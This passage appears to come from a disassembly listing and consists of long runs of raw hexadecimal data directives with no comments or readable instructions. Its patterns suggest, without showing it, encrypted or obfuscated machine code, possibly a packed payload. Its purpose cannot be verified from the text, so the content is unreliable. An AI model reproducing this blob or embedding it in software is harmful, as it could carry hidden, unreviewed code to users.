		dd 0D49D6662h, 0E15EED33h, 0D794C217h, 3628ADF5h, 1C6F5h
		dd 4DA24BBDh, 0D11C73Ah, 0AFEB768Eh, 0CA63A22h,	1252496Ch
		dd 7A721CA5h, 4EA00E6Dh, 65A4EAD4h, 7E14CD15h, 281E1B76h
		dd 0A7459D31h, 5E811h, 24260000h, 5816FF66h, 2AA19531h
		dd 0C08107E0h, 71A4h, 0FE9h, 44A7F200h,	0F0E5A6E5h, 1181F75Ch
		dd 0B13F7DA7h, 0BFh, 6E800h, 46840000h,	0F0404683h, 10458D0Bh
		dd 0FF5907E0h, 8D8B0734h, 7E031A5h, 45B5315Ah, 8107E00Fh
		dd 0BC822AF2h, 6E80Ch, 0D7820000h, 0AD8EB2A3h, 1E718D8Bh
		dd 815E07E0h, 0B5225C2h, 81C88A33h, 63AB2C2h, 598D8B1Eh
		dd 5207E01Ah, 23698589h, 48F07E0h, 0E8F18B38h, 13h, 5DFA7D98h
		dd 0DDFC58A8h, 44656D9Bh, 5403DB23h, 89A3677Fh,	0E00F5585h
		dd 0EF815B07h, 5477D454h, 0AE9h, 24F01D00h
		dd 31B65FB8h, 816AF0C3h, 77D450C7h, 0CE854h, 97BA0000h
		dd 0A083C8E2h, 0CBB5E5ADh, 72BE62EBh, 591E3361h, 8F40FF81h
		dd 850FFFFFh, 0FFFFFF5Bh, 22C18D29h, 0EB07E0h, 418E9h
		dd 0CA846C00h, 3FF7DEB0h, 0B66E5325h, 29E1CA9Ch, 0A15B3D0Fh
		dd 94893287h, 0CDEF8B2h, 82546E28h, 0FBCDE79Fh,	61415B15h
		dd 75E5376h, 0A61821D2h, 33442B0Ch, 210AB576h, 1A426569h
		dd 0DFBB6D9h, 308329BAh, 0E9C3DA85h, 0A65E4504h, 5C93F5FBh
		dd 0DB7FA1Dh, 6CBF29BAh, 0CF876C66h, 42FAE3B5h,	0B66E512Bh
		dd 52B4BAB1h, 0B08B9E80h, 3478BE28h, 2A69802Bh,	0D954EFFEh
		dd 69646A63h, 29BA8A48h, 73D5DB2Eh, 63B0103Ch, 0A9F826CEh
		dd 6C7A9A3h, 0A8BF6A24h, 0D1C8FF7Ch, 50B3A88h, 33EDD1A3h
		dd 1F08E219h, 84676167h, 0FAE0B2CCh, 15EF2640h,	845B1B2Ch
		dd 0DF135883h, 21382F34h, 0BA41B3FEh, 7278CB29h, 5CD0E42Fh
		dd 0B8DB1A2Eh, 21D2D2F9h, 0D82C3285h, 43FDE347h, 0E7CAED2Ch
		dd 8F21D2D2h, 0EC975135h, 0B29B99E6h, 0B892F5FAh, 1B1217CFh
		dd 0D2D0E104h, 53A621D2h, 4A33D14Dh, 0C44C7892h, 112D5067h
		dd 872672B1h, 0C5E82F34h, 7829B2B1h, 0CC0BBA17h, 0B2B208A9h
		dd 62C26E29h, 2DBEDCA0h, 0E6CC7E29h, 2A30272Ch,	33E9E624h
		dd 0F71154h, 2B5B0000h,	7E8A8F49h, 917A5493h, 0D90D3D9h
		dd 4929BAA1h, 2105DFF6h, 656B6267h, 9289B518h, 0FBEB9CEAh
		dd 58D2DF02h, 59AC29BAh, 0C8AEA8AEh, 3C22F40Eh,	0FB257D82h
		dd 5002253Ch, 0A62E5A5Ch, 2B584E53h, 0E49E84D6h, 5C729ECAh
		dd 0A18B82D5h, 647B2610h, 79DE1941h, 171C6F26h,	637D3719h
		dd 0DEF5AF91h, 61651D04h, 0EFD6FAB4h, 9FECF22Fh, 3A71103Ch
		dd 4044FCE1h, 60661753h, 1128050Ch, 0BA9993EEh,	1E388B29h
		dd 0FA112EF2h, 44FCE1BBh, 0B4B7FB3Eh, 55812E5Ah, 0F826071Ch
		dd 0B5FC1F15h, 0C121DA3Ah, 9EBDC36Eh, 6648464Bh, 3A941D40h
		dd 0C7BD21DAh, 3F886F8Ah, 2AD528FFh, 365C3E10h,	0DA6B9E13h
		dd 0DA85D821h, 4100E9C3h, 0F1F7A25Ah, 0FCC54CA4h, 0DA6BD8D9h
		dd 994B9E21h, 2F9FEB6h,	27014057h, 40838943h, 21DA6C45h
		dd 0FDD7EE41h, 0F5575D17h, 6D874123h, 0F04FD173h, 80D0B6D9h
		dd 2C062E5Ah, 8A888D45h, 0F0E7ECA6h, 0CD203F45h, 23E4CAC8h
		dd 0DC947B3Ah, 8A352C31h, 1A542670h, 9A8136F7h,	21DA8113h
		dd 45B8E423h, 0D25B0373h, 15D0E1DCh, 53A621DAh,	0B36D534Dh
		dd 27E1C799h, 843E2422h, 71CE177Fh, 9D804127h, 37E9E0E5h
		dd 9B929751h, 0CAF8D6F0h, 0A53D461h, 0E1934B30h, 443B40F8h
		dd 1CBA3Eh, 0D1040000h,	0B6D9F04Fh, 2E5AA49Ch, 0DEB8CF22h
		dd 0EA373DF5h, 324C06ECh, 3B30h, 422BC600h, 5747738Ah
		dd 10650F7Eh, 9997E4EAh, 0B6E2F9B3h, 0D0F38B3Ch, 29BAA0E1h
		dd 0E3464A9Dh, 9A173A7Ch, 0E429B9ADh, 7EE0E691h, 0CCE50847h
		dd 0B229B9ADh, 0DC7AD5Fh, 0E90B1108h, 708A422Bh, 3382A590h
		dd 5329BAA1h, 17FDFB00h, 0B3B87256h, 0E9E3B8BCh, 0FBAD884Dh
		dd 7C5F3950h, 0C2C8BFC4h, 3C687F75h, 0C7370409h, 5DD2D883h
		dd 9ABDA800h, 29BA541Bh, 0CEF1085Bh, 29BA53E3h,	5C2E489Bh
		dd 55A2BC76h, 397EF8h, 98D70000h, 0BA543C75h, 0FFE84229h
		dd 0A04B4247h, 452B789Ah, 1235748Bh, 29BAA09Fh,	317E84D7h
		dd 0FB0EF4CEh, 44864F58h, 272CD719h, 4A302A30h,	0B99F7990h
		dd 0FD03FAFFh, 2B04C29Bh, 86848943h, 0E3E1E6A0h, 45434800h
		dd 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh,	222025DDh
		dd 6D7E833Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h, 89512424h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 241C895Ch, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 56242C89h, 0C30676BEh, 37F68122h
		dd 56252B9Ch, 8B545E5Bh, 0C481242Ch, 4,	1C8568h, 241C8900h
		dd 0FF08458Fh, 815D2434h, 4C4h,	2434FF00h, 4C4835Bh, 0F7E28AE9h
		dd 49837FFFh, 0E92FEFDFh, 9DDCB881h, 0C50307E8h, 443CE0FFh
		dd 0DBB609FDh, 9B000A23h, 21187D93h, 4CCD6B4Fh,	59D94C3Fh
		dd 0D29396Fh, 0C5D13A46h, 5E5277CFh, 0A54A3445h, 0A7701EFCh
		dd 1099174Ch, 395D4E49h, 0B58538A6h, 0E84008B0h, 80795D82h
		dd 0BDB96DE3h, 0EC2866B5h, 0B3024E2Ch, 5FA3A43h, 0AB4C1E45h
		dd 960B55DFh, 90EA2478h, 86312FDBh, 32F670Ch, 0BDDB65A1h
		dd 55BF4196h, 8B9D3D86h, 3F309CDh, 0C1F34375h, 10E87E66h
		dd 52000000h, 0ACEC2F2Ch, 5F2D9410h, 0BD93F15h,	0E89345C1h
		dd 11h,	0CBBA4332h, 0F827CD26h,	0B4BE1DA3h, 158895D7h
		dd 8D0F32h, 5F000000h, 0F7BA665Eh, 0FE807h, 0BE60000h
		dd 0FCC4FE94h, 0AD2BE909h, 2576E00Eh, 703FB936h, 805A71F4h
		dd 8BF5B0E0h, 0E9CB8BD6h, 13h, 0F70187B9h, 0CA14398Ch
		dd 0E17A7E30h, 1A1279DBh, 815FADE2h, 0DD9109E8h, 0F98B6607h
		dd 0F9C8B70Fh, 0BBA3BF66h, 5E576060h, 0DE8h, 0D1C6C500h
		dd 353DE431h, 0BC213E41h, 615E706Dh, 8E9h, 3A79F300h, 0B8D2514Bh
		dd 62B261CDh, 0BCD28166h, 6E85Bh, 828E0000h, 0BB987C3Eh
		dd 5EC9C580h, 9789C781h, 815179C5h, 86F538C2h, 0DA815F2Dh
		dd 1BE3232Bh, 0AFCE8166h, 0B8F0F7Dh, 60000000h,	0FC9BF0Fh
		dd 80h,	8B666100h, 33BBBAF7h, 81667866h, 0FADF7EFh, 0C88h
		dd 7E900h, 4ECA0000h, 268152DEh, 3FBA66ABh, 0F78B662Dh
		dd 0AE9F5h, 5B8D0000h, 0E277CE94h, 79CACFE8h, 14E8h, 0EF3E4700h
		dd 346005D4h, 0FEFE6E16h, 7564730Eh, 0A1B72BCBh, 4FBB6645h
		dd 9E858D9h, 7C000000h,	813EA10Eh, 0B3A8EE9Ah, 59616050h
		dd 0FFE8A5Eh, 0BA66FEB7h, 14E96B61h, 32000000h,	0D0E92C54h
		dd 42497C45h, 0AC39B4F8h, 0FFE26C2Fh, 66AD52B2h, 0B2BCE081h
		dd 118B0Fh, 8E0F0000h, 0Bh, 6E9h, 0ABD5B100h, 80706B1Fh
		dd 820FF3D8h, 15h, 10E9h, 6E9B8800h, 60D992E9h,	0D699EBB8h
		dd 0E36FFA77h, 0DE9E3h,	0CE0C0000h, 292A317Fh, 0EBDEF90Ch
		dd 802C5C17h, 0CE869D0h, 27000000h, 0F8B42962h,	0D3B952A6h
		dd 0F005D62h, 148Ch, 0FE900h, 0ACBB0000h, 0DC187931h, 213033C9h
		dd 7B00CFFEh, 0B70F5E95h, 0BAF081DFh, 0F7652CDh, 0F48ACABFh
		dd 0F08B6656h, 0F081665Ah, 61B05141h, 60DF8166h, 0B30CBE3Bh
		dd 0D6BE11FAh, 0F33F267h, 0EA81D0BFh, 11286081h, 4BBAC78Bh
		dd 81687655h, 0D84893DEh, 11E86Ch, 0BD510000h, 50FAFE52h
		dd 9B27B65Dh, 693FE52Fh, 0F435427h, 665EF9B7h, 8A480ABFh
		dd 9E860C2h, 11000000h,	64C8FDBCh, 230FE68h, 5EFABF0Fh
		dd 5E9h, 6FF06E00h, 0F6196B9h, 583h, 0A676BF00h, 10E91B6Fh
		dd 0EC000000h, 0B6814288h, 0F483733h, 91155164h, 660E141Dh
		dd 0E9613EBEh, 11h, 939FCC64h, 0BAB06490h, 80A58E3Ah, 0E998EA40h
		dd 26B86614h, 0F5FD8A5Fh, 0CE9h, 3C3B2100h, 5FB17B1Ch
		dd 0EAC6ECC9h, 3748BE2Eh, 0DE8151Ah, 0F4000000h, 0E715F750h
		dd 61A8BC46h, 0A481E06Fh, 5A24E180h, 87C28166h,	10E83Bh
		dd 0C4030000h, 4F987063h, 1FC84E4Ch, 0EDF0BCAEh, 8B5A920Dh
		dd 0FAB70FD0h, 0AE860h,	76A90000h, 2C17FB6Ch, 37D00BC2h
		dd 0E95EC68Bh, 11h, 45F8299Eh, 8E393614h, 0AB0E26EAh, 0DD8611FEh
		dd 0D98B612Dh, 14E9h, 0EBE43700h
		dd 1ADC3315h, 0DCA5D28Ch, 7E4E2AC4h, 4822E508h,	0FCEA8A30h
		dd 840Fh, 0CAB40000h, 8E8h, 0DC363100h,	544A9ECFh, 561BF24h
		dd 0F5A0924h, 0E956CEB7h, 0Fh, 0CCFECC15h, 0E4047199h
		dd 0A606A6h, 5E2D85A8h,	11E9h, 1D3B7000h, 0C0475186h, 46A6A4FDh
		dd 6AD5164Dh, 0D18B700Ch, 0D22DEB81h, 0B70F4CD5h, 0D181DAh
		dd 0E804D94Dh, 5, 0FAB89965h, 0CE95F4Ah, 38000000h, 7EF733F6h
		dd 0BDABE3F7h, 666A9D34h, 0E780FE8Bh, 89BE6607h, 81665756h
		dd 584D4BD9h, 0DE900B4h, 4C000000h, 0F5AACCA1h,	87BF8502h
		dd 0FD6642F7h, 54EBC6B9h, 0D9816635h, 8B668E2Fh, 0FABF0FD6h
		dd 3BEE8156h, 5A263536h, 3890Fh, 0BF0F0000h, 0CE9C3h, 0B1590000h
		dd 0FBBE7A2Dh, 3BEC2CA9h, 6BB42D59h, 0DEBF0FFCh, 404CEA81h
		dd 810F5D01h, 3, 80C2BF0Fh, 0BE663DCEh,	0C9B22893h, 6E9h
		dd 0CF8CAD00h, 81BC494Eh, 1E475AE2h, 860F505Fh,	2, 8B595F51h
		dd 41EE81F2h, 0E835AC2Ah, 0Dh, 5E54543Ah, 0EC4D144Ah, 0E7C998CAh
		dd 0B5B966CAh, 5E95BA6h, 0DE000000h, 3E1EF9CCh,	0B70F28B3h
		dd 0FE8F3h, 6FA80000h, 80E8CDA1h, 0D479C5ADh, 0A0AC1CBFh
		dd 10E97Ch, 0F3010000h,	17A159B7h, 520D2D82h, 0A38119AEh
		dd 665BBAB4h, 66C31EBEh, 800FF28Bh, 0Ch, 68A0Fh, 8F0F0000h
		dd 0
		dd 889AB2BBh, 0B8C0F53h, 0F000000h, 58Fh, 0A9DABE00h, 8B662D78h
		dd 10E8FAh, 5FEE0000h, 8691FCECh, 4A9CDC5Dh, 3E442A1Ah
		dd 66600A4Eh, 612D3EB9h, 56FA8B59h, 9FF754B9h, 8B665853h
		dd 5BD081FEh, 0B9346DE8h, 4C86EE95h, 3BE88166h,	0DB80F515h
		dd 0E1B0F59Bh, 0F996D480h, 0D0F181F8h, 8026D8BEh, 0E88AAAD7h
		dd 0BCD3F381h, 81F8086Bh, 8A1042CFh, 12E87Ch, 0B9B10000h
		dd 0FC75F730h, 2E55EDC8h, 6E88082Bh, 49BD9E78h,	6850Fh
		dd 0C6810000h, 4866129Ch, 0F2BF0F5Eh, 0FCFB70Fh, 282h
		dd 0B6C18B00h, 0B4DE8B86h, 6840F25h, 60000000h,	0FA8AF38Bh
		dd 0FA8B6661h, 0E9D38B66h, 7, 459CCD2Dh, 52A03940h, 5FF7C180h
		dd 89EE8166h, 12E8608Fh, 52000000h, 9946EA2Eh, 1B17005Bh
		dd 2430F0C9h, 92D4B6F8h, 5B6160D6h, 61F98B66h, 0FBE5F52h
		dd 0F5E814Ah, 484h, 5DBA6600h, 8E99Dh, 0C68F0000h, 8642D75Bh
		dd 0B70F3448h, 48F0FC6h, 66000000h, 53AAC2BBh, 0BE959h
		dd 82620000h, 0E6E05ECAh, 98AAD1D1h, 0ADC1BBA9h, 0B70F20B6h
		dd 0E8B460FBh, 0AF48061h, 0B08DDEBEh, 0FBB70F0Dh, 52C0B70Fh
		dd 0D82375BAh, 0B9665819h, 850F4047h, 8, 2810Fh, 5B500000h
		dd 12E9h, 888EE700h, 2D36D024h,	8B1C2C79h, 0D0CB9C6Bh
		dd 0B6B54477h, 0D88BFCC7h, 8100C480h, 6F924CD0h, 6860F65h
		dd 0F000000h, 8Fh, 0EECA8100h, 0B33D04E5h, 42C98109h, 0F6E60C6h
		dd 178Ah, 12E900h, 53D60000h, 0AFF509C0h, 9A2D518Ch, 0CCBF0402h
		dd 1B6D09E8h, 13E9h, 0E9CADF00h, 0A22A3056h, 4F3A05F6h
		dd 734561DEh, 99303BE5h, 5FCB866h, 85EB8166h, 0A7BA6608h
		dd 14E957h, 93BC0000h, 9B6E3DFFh, 0DBA4A084h, 5EBB412h
		dd 3929B19Dh, 50B5674Fh, 0EE9h,	0D3249900h, 0E105B73Fh
		dd 0B099EECh, 0E9940911h, 12h, 74FF946Ah, 9A7C204Eh, 0F737F8DBh
		dd 6B01B372h, 27B654E2h, 0DF5FF381h, 6E856F6h, 0EC000000h
		dd 0B11F510Eh, 0FE9563Bh, 87000000h, 6249DC98h,	5EDF72ABh
		dd 0F2CF00E3h, 5F5AEC2Ah, 6E9h,	47BEAE00h, 0F62A8E7h, 389h
		dd 0FAB70F00h, 2810Fh, 59500000h, 0BB666060h, 0CABB8991h
		dd 61739E78h, 0B890F61h, 0E9000000h, 6,	0BF9B9739h, 0BF0F9B5Dh
		dd 6860FD7h, 81000000h,	1740C2D8h, 0C3B86621h, 0F3BBF54Ch
		dd 814AD9CFh, 5CC37BF0h, 0F88B6621h, 8166F860h,	61269AD2h
		dd 6060DE8Ah, 7497BE66h, 61D7BF0Fh, 61CEBF0Fh, 6BD4B866h
		dd 35F3BB66h, 0E8C28B66h, 0Ah, 95D43F3Ah, 0F09F7377h, 0E9535CB6h
		dd 11h,	493202B0h, 0D81DAD68h, 3BACE58Ah, 2B9FD419h, 665859CBh
		dd 0F8F374BEh, 0F5D68B66h, 0DEEFE181h, 66606C45h, 0E93EF5B8h
		dd 5, 879C075Ch, 8166610Ah, 529B57DBh, 0EE8h, 739D3F00h
		dd 6F7F8CBDh, 2EFAD41Eh, 8BA4D002h, 665E5EF1h, 8101BCB8h
		dd 0D353CD9h, 0AE9605Fh, 0F7000000h, 11BD3660h,	3054664Bh
		dd 860F98h, 61000000h, 0DAC68166h, 7CE78110h, 0F40D39Bh
		dd 683h, 41DE8100h, 0F68D9BCh, 0C8Dh, 8C0F6000h, 0
aFAS		db 'f¿Ú´a`é',0Dh,0
		db 2 dup(0), 0A8h
		dd 1924AFDDh, 0A86539EFh, 3C4B1770h, 0F561DE8Bh, 0DA8B6660h
		dd 0DA77DBBBh, 0CA8B6164h, 10E9h, 33712E00h, 0FC4DFF8h
		dd 0C35979A0h, 0B1D3F618h, 28F0F07h, 0B7000000h, 8166605Bh
		dd 520D2BC9h, 8A0Fh, 615A0000h,	0FE9h, 5E545400h, 0EC4D144Ah
		dd 0E7C998CAh, 565C01CAh, 6E8h,	924AA400h, 0FD8053Ch, 0B859C9B7h
		dd 645A5920h, 22DB81F9h, 8129FF70h, 285880D6h, 0CE919h
		dd 0EC80000h, 63DE4155h, 448C5452h, 78BBE728h, 526DBD34h
		dd 5840Fh, 8CB90000h, 5F190DE3h, 0F669E8B9h, 0B83ABA16h
		dd 850F5793h, 4, 3F27BA66h, 19C8B966h, 0B5D0B70Fh, 8800F3Eh
		dd 0F000000h, 28Ch, 53595300h, 5BC0BF0Fh, 5E9h,	7D0C6D00h
		dd 1BBD9C6h, 0B257DF49h, 0EA81668Eh, 0CF8B5881h, 0CA8EF181h
		dd 0EE94F31h, 0C000000h, 1DDB45B9h, 0FA1FB4E6h,	0AD456347h
		dd 816660F8h, 80EF0FDAh, 806109F6h, 816690DAh, 607DD2C0h
		dd 6661F0B6h, 568DB8BEh, 81665AF8h, 66F74BC8h, 8057C18Bh
		dd 665BBBD3h, 0AE06C781h, 0FDF08166h, 0E6DF813Fh, 662D265Fh
		dd 0F392DBAh, 0B653F6BFh, 8B665EB4h, 0DEBF0FD3h, 2870Fh
		dd 0DA8B0000h, 8AF08B66h, 0C38B66ECh, 0C64BE781h, 0BB502C77h
		dd 68C0F1CDh, 6660575Fh, 0E802FFB9h, 11h, 2C77480Fh, 0ED3198A2h
		dd 33BE0284h, 3FDE65BFh, 5E615AE8h, 0A8B0FF9h, 0F000000h
		dd 48Bh, 7FB96600h, 6870FD8h, 81000000h, 922A11F1h, 7E945h
		dd 0A0EE0000h, 0D5AED6EEh, 0E8C38A32h, 9, 812D4E2Bh, 922A806Fh
		dd 5E9DCh, 9790000h, 5F88C04Ch,	66D38B66h, 608144BEh, 28A0Fh
		dd 0EB8A0000h, 816661FCh, 51537EE1h, 0F8B382BEh, 0E853591Bh
		dd 0Dh,	41517807h, 7E70D902h, 760A78BAh, 5B61600Fh, 0B5B2FC5Eh
		dd 4800Fh, 8B570000h, 0D78B5ADAh, 81C6B70Fh, 0F52AD8CBh
		dd 0E9F08B37h, 0Dh, 0D2DADCF3h,	6CA49333h, 0EAB76E01h
		dd 55B5F925h, 2AC78166h, 6E85Bh, 2DBB0000h, 14FDF02Ch
		dd 0E9F78B60h, 9, 1E78EE2Ah, 0BBC734EFh, 8B5A619Bh, 0B6D280F1h
		dd 66C1B70Fh, 6677ACB9h, 0F516D3B9h, 0E681DAB5h, 76E42B71h
		dd 10830Fh, 0BE90000h, 70000000h, 6FF1D0F5h, 8F663470h
		dd 0D3808D63h, 0D2CB8097h, 66D88B66h, 0F9A766B8h, 5A535360h
		dd 26BE615Fh, 6630F9B9h, 81D0BDBEh, 0F8D47FEBh,	0EE920h
		dd 0D6C20000h, 9EEFA82Ah, 3F8876Ah, 76DAC823h, 6870Fh
		dd 0CF810000h, 749357F6h, 13830F60h, 0E8000000h, 0Dh, 4F9F98A0h
		dd 9EAED16Dh, 0E361D49Bh, 51615F6Dh, 13E960h, 77B90000h
		dd 0EAA558E7h, 0E55E098Bh, 0EA86C438h, 0F9EC0A6Eh, 616160FEh
		dd 0B253605Eh, 81665E49h, 6118DFCEh, 0C981DEB0h, 8C4F9C6h
		dd 0E9F28B66h, 5, 6F0DF8A1h, 66FA8B7Ch,	8B6E18BAh, 8BC18ADAh
		dd 0ECD80D9h, 0E8CFBF0Fh, 5, 3509004Dh,	0D7BF0FF5h, 0F60605Ah
		dd 81h,	6161F500h, 0BB6618B6h, 7E888ECh, 6A000000h, 71941453h
		dd 0CF8B70B9h, 46B5605Bh, 816164B5h, 7DCE42C0h,	0B70F566Ah
		dd 0F575FF0h, 0E95FDEBFh, 12h, 0CFC3368Eh, 650019FFh, 196865F9h
		dd 0A3EE8EBh, 0BF0F915Ch, 11E960C3h, 0BF000000h, 37CE5484h
		dd 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh, 0B8088CBAh, 0B70F610Ah
		dd 0D8C0FDEh, 0E9000000h, 8, 626023DBh,	0C065E11Ch, 60C2B70Fh
		dd 28C0Fh, 61600000h, 5649B966h, 0C8D0F61h, 0F000000h
		dd 685h, 800F00h, 50000000h, 513FBBh, 7FB85815h, 8124547Eh
		dd 1B6FD4D6h, 0CB8B666Bh, 8A0F5B50h, 5,	0CAEE8166h, 0D08051EEh
		dd 13E959BFh, 0D5000000h, 478CA502h, 2FAE5055h,	0D73EFF7Eh
		dd 0D3ED066Fh, 0EE81EA56h, 7CC88A3Ah, 81DF8B66h, 0A499D1EFh
		dd 13E84Bh, 77420000h, 143C73C6h, 0D799CAEFh, 68F8D660h
		dd 92ADE732h, 0CE815h, 18B80000h, 0BD797CD5h, 9C1CCFCAh
		dd 6E9B18Ah, 8E000000h,	3604A62h, 0F5F598Bh, 5E9D1BFh
		dd 83000000h, 0AFB4B618h, 7C78BB66h, 0E8B966F9h, 0F12B4E1h
		dd 281h, 0FC28B00h, 180h, 0BF0FFC00h, 8CE380FFh, 665DE080h
		dd 0D380CB8Bh, 0D8BB661Bh, 0FD9B27Ah, 66F5C8BFh, 820FD88Bh
		dd 5, 72B911BFh, 66F9F950h, 0E98F66BEh,	9, 0F2E02A5Eh
		dd 6AA08A25h, 56BE6629h, 0EF781D7h, 662BDB74h, 0E711EA81h
		dd 6656F88Bh, 0E95EC78Bh, 14h, 0C8E72702h, 0EC866EEEh
		dd 5B1ECCB5h, 0F5EA27CFh, 73F1EC42h, 8063D980h,	0FF817D1h
		dd 381h, 0FA8B6600h, 7D68166h, 0B70F50F3h, 0C28059CAh
		dd 0B25E567Ch, 0FBBF665Eh, 6E8DFh, 0FFA10000h, 4984E23Bh
		dd 5FC68B66h, 1545CBFh,	8B66532Eh, 66605FCEh, 602D76BEh
		dd 6E8D98Ah, 3B000000h,	7B1918ECh, 61615E9Ch, 8E860h, 0A9D40000h
		dd 0B357B0D7h, 26BA2F54h, 5B267928h, 0B5C4B966h, 8A0F61h
		dd 81000000h, 0F7DFFDD7h, 0AE90Fh, 90760000h, 0A75A28A1h
		dd 88602FCh, 9205E5BFh,	0F08B661Ah, 81FB8B66h, 39C9F9E3h
		dd 0EE941h, 0F93E0000h,	79289608h, 5AB87991h, 7FAD8297h
		dd 7E8F38Bh, 0E4000000h, 0F8B25D74h, 0F28B2F84h, 0BAC7805Fh
		dd 0E4D3DA81h, 81667FD3h, 0F74D9E1h, 386h, 0D18B6600h
		dd 0C63E681h, 0C28143F3h, 7F975F89h, 459360B9h,	0A7CF8177h
		dd 604B321Ah, 39BE6660h, 0F56061A2h, 66506161h,	7E73D181h
		dd 9EB86658h, 87D0B98Dh, 0AE876AAh, 8000000h, 0BA764FC2h
		dd 0CD444F80h, 0FE8B664Dh, 0F2BF0F58h, 0FE9h, 14E7700h
		dd 0F745EDF8h, 2994AC70h, 5BED1E46h, 3AEC8060h,	0CE861h
		dd 0D6790000h, 2DBC6117h, 24612F97h, 5EFC92DBh,	89CC80FCh
		dd 0DE1EBA66h, 0E98166F9h, 0C3812812h, 752A75Bh, 0FCE8B66h
		dd 386h, 0F2B70F00h, 0F9DABF0Fh, 0EE8h,	0D0127F00h, 283044D4h
		dd 0EF2559C3h, 596E5095h, 0FE9h, 9EF21B00h, 58C49AB7h
		dd 0D3088C58h, 0F6DFDAC3h, 0BE9h, 615BA800h, 0BBF2A698h
		dd 400D5BC4h, 5E8h, 3C0BCE00h, 0B70FF7CCh, 0E8605BD6h
		dd 10h,	0DAEDEF2h, 0FD374E55h, 22AC3641h, 0B1337849h, 0B13EB866h
		dd 830F525Ah, 0
		dd 810F615Eh, 6, 7B59F781h, 0CB815840h,	68C21EDDh, 66F78B66h
		dd 8166C38Bh, 0BA6FCAD2h, 7DC9777Fh, 13E861B2h,	82000000h
		dd 0EB187EDEh, 0B9696939h, 0CE9B2838h, 107EA68Ch, 0D080BCB6h
		dd 0E9565E11h, 5, 90E3458h, 0B8665F1Bh,	0FC51E8CFh, 0FAB70F58h
		dd 0DC74C681h, 6E92AC1h, 0CC000000h, 62FAA03Ah,	0DE8B66BEh
		dd 0E7816660h, 61FC3B57h, 81666051h, 6629D9E1h,	6175CEB8h
		dd 0CF816659h, 8B66F1B5h, 8044B6CAh, 8F0F7DC2h,	5, 4AB234BAh
		dd 850F531Eh, 13h, 0DE8h, 2926800h, 0FBE5334Ch,	8858548Eh
		dd 585FD65Eh, 0EE8h, 22874400h,	0EF47EA2h, 2B4F4DC9h, 0F504BDBh
		dd 1680h, 10E800h, 0F37E0000h, 0C7F7F2AAh, 1EF0B7C4h, 0DE112697h
		dd 5A5FDF33h, 5E69D5BBh, 38A0F5Ah, 66000000h, 0B966F78Bh
		dd 0DE9CD42h, 0C1000000h, 576DCDE4h, 7DC1D3C6h,	6FD55D29h
		dd 0A2AFB966h, 0DE8FCh,	0C22B0000h, 6F9EDAE0h, 5069DE47h
		dd 81119A92h, 0B8F5CCD2h, 0E8F55A3Fh, 8, 0D5B97C95h, 0FF861363h
		dd 3DE48058h, 0E1D38166h, 0D2BF0F45h, 12870F60h, 0E9000000h
		dd 0Dh,	0A68A7B7Fh, 8C24F49Ch, 4EB7E234h, 61605241h, 9E9615Eh
		dd 2000000h, 65BF33BEh,	2E83FDEh, 5AF08B57h, 8E9h, 0ECE5CA00h
		dd 51870922h, 13E9D6h, 8EFE0000h, 80D0BEA1h, 0A4EBB585h
		dd 2CE98044h, 1F2E012Ch, 0B7BA66B4h, 1D8C0FE1h,	0F000000h
		dd 178Fh, 12E900h, 27E90000h, 2FCA9DD4h, 0E1800C9Ah, 0D2C97D21h
		dd 0DB460C40h, 9E9h, 4F86E300h,	0A2E91E6Ah, 8B66E333h
		dd 0E8F78BD6h, 11h, 5DE26A0Bh, 6EB1C880h, 7E800327h, 9443B44Ah
		dd 10E996h, 0F0840000h,	0C66232A5h, 0E4DC4570h,	0F0166E3Eh
		dd 0E95F52A7h, 11h, 8EBD55D2h, 0F08318A6h, 0EED8B1AAh
		dd 0EAE3A87Eh, 0F6B70F39h, 66CB8B66h, 0BA60CB8Bh, 4B873E5h
		dd 0BA4192BEh, 84BF613Fh, 8B5C9760h, 13E9D7h, 49F60000h
		dd 0D238F3F4h, 2262F659h, 1D979B6Fh, 344BAFCAh,	0DE9D3h
		dd 0CF460000h, 0CEBCACD8h, 0B1141E2Fh, 815EE902h, 831B01D2h
		dd 0CF8B602Ah, 5E8h, 0A0A5400h,	0FE8BC360h, 8060615Ah
		dd 5E992E2h, 4A000000h,	4C91E2D6h, 2BBF5061h, 5A1DFAFBh
		dd 0FF9BF0Fh, 0EF81D2B7h, 79456DC1h, 0EF58D781h, 12E81E72h
		dd 0C5000000h, 61AFC009h, 84FA0AA4h, 5927D4A1h,	83A3B6F1h
		dd 890F5B0Dh, 14h, 0CE8h, 6AAD0F00h, 10238B74h,	0E3146025h
		dd 58616036h, 0F32CB866h, 5FCB8A53h, 749FF681h,	0FE8B3D6Ah
		dd 3E8DE781h, 830F2DA1h, 3, 66DEB70Fh, 0F8856EBEh, 12E8h
		dd 555A4600h, 805A23F5h, 0DAA6F02Fh, 0EAD92CE4h, 0F27F937h
		dd 38Bh, 10DB8000h, 0E1BE665Bh,	0D28166A8h, 6660D5E2h
		dd 66CB5BBFh, 0F8BED181h, 9E961h, 0C8450000h, 35F56F5Ch
		dd 8A25D009h, 0F8D18BEAh, 9E8h,	1955600h, 566A37F5h, 8B66CC73h
		dd 81665ECBh, 8B6021D8h, 3840FC6h, 66000000h, 0FE8BC88Bh
		dd 6E9h, 0EDB29000h, 80051AC7h,	0BEFC13F6h, 7DF3AA23h
		dd 0AE9D68Bh, 58000000h, 96C05AE3h, 50DE9CB0h, 0B54EBEB1h
		dd 8E0F1753h, 5, 27C68166h, 0E081667Eh,	8B66A5C3h, 0C7BF0FD6h
		dd 71CE8166h, 6678B278h, 0C743EB81h, 0DE9h, 0D1BD7600h
		dd 0A51C861Eh, 0F72625A6h, 11BFE91Bh, 662CEFE5h, 0BF0A52BFh
		dd 55FC4E06h, 0EE8h, 0DABE4B00h, 5E86400Ch, 5400A244h
		dd 5812D6BAh, 9E9h, 45EF5500h, 0BD6BCAF1h, 8D0FB474h, 5
		dd 0ED8D34B9h, 0E9F08B51h, 0Dh,	5866F78Bh, 0B9E9375Ah
		dd 7BF01AB8h, 66C38B25h, 601A9FBEh, 0FD08B66h, 28Fh, 61D78B00h
		dd 11E9h, 14FDF000h, 24FEF42Eh,	0C39AD4FEh, 0EE29ACD3h
		dd 0DE832FDh, 7A000000h, 21AD642Bh, 84456851h, 8795A41Ah
		dd 5EACE280h, 13E9h, 0CE886800h, 0FBB9BA3h, 45665A31h
